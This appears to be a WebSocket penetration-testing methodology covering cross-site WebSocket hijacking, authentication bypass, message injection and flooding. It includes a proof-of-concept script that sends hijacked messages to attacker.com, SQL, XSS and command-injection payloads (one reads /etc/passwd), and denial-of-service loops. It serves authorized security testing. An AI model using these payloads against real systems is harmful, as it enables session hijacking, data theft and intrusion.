WebSocket Security Testing

Objective

Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.

Testing Methodology

Phase 1: Identify WebSocket Endpoints

# Look for WebSocket upgrade
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"

# Check common paths
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
  curl -s -D- "https://TARGET$path" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Version: 13" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
done

Phase 2: Cross-Site WebSocket Hijacking (CSWSH)

Check if Origin header is validated:

# Connect with evil origin
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"

# If connection succeeds with evil.com origin → CSWSH is possible

PoC HTML:

<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onmessage = function(e) {
  fetch('https://attacker.com/log?data=' + btoa(e.data));
};
ws.onopen = function() {
  ws.send(JSON.stringify({action: 'get_profile'}));
};
</script>

Phase 3: Authentication Testing

# Connect without auth token
websocat "wss://TARGET/ws"

# Test token reuse after logout
websocat -H "Cookie: session=EXPIRED_TOKEN" "wss://TARGET/ws"

# Connect with another user's token
websocat -H "Cookie: session=VICTIM_TOKEN" "wss://TARGET/ws"

Phase 4: Message Injection

# Test for SQL injection via WebSocket message
websocat "wss://TARGET/ws" <<< '{"action":"search","query":"test\" OR 1=1--"}'

# XSS via WebSocket message (if rendered in other clients)
websocat "wss://TARGET/ws" <<< '{"action":"chat","message":"<img src=x onerror=alert(1)>"}'

# Command injection
websocat "wss://TARGET/ws" <<< '{"action":"exec","cmd":"id; cat /etc/passwd"}'

Phase 5: Rate Limiting / DoS

# Rapid message sending
for i in $(seq 1 1000); do
  echo '{"action":"ping"}'
done | websocat "wss://TARGET/ws"

# Large message
python3 -c "print('{\"data\":\"' + 'A'*1000000 + '\"}')" | websocat "wss://TARGET/ws"

What Constitutes a Finding

Finding	Severity
CSWSH — cross-site WebSocket hijacking	High (P2)
No authentication on WebSocket	High (P2)
SQL/command injection via WS message	Critical (P1)
Stored XSS via WS message	High (P2)
Session not invalidated after logout	Medium (P3)

Evidence Requirements

• WebSocket endpoint URL
• Connection with evil Origin (for CSWSH)
• Messages sent and received
• Proof of unauthorized data access or injection

Tools

• websocat (external) — WebSocket CLI client
• Browser DevTools → Network → WS tab

References

• PortSwigger: WebSocket Vulnerabilities
• OWASP: WebSocket Security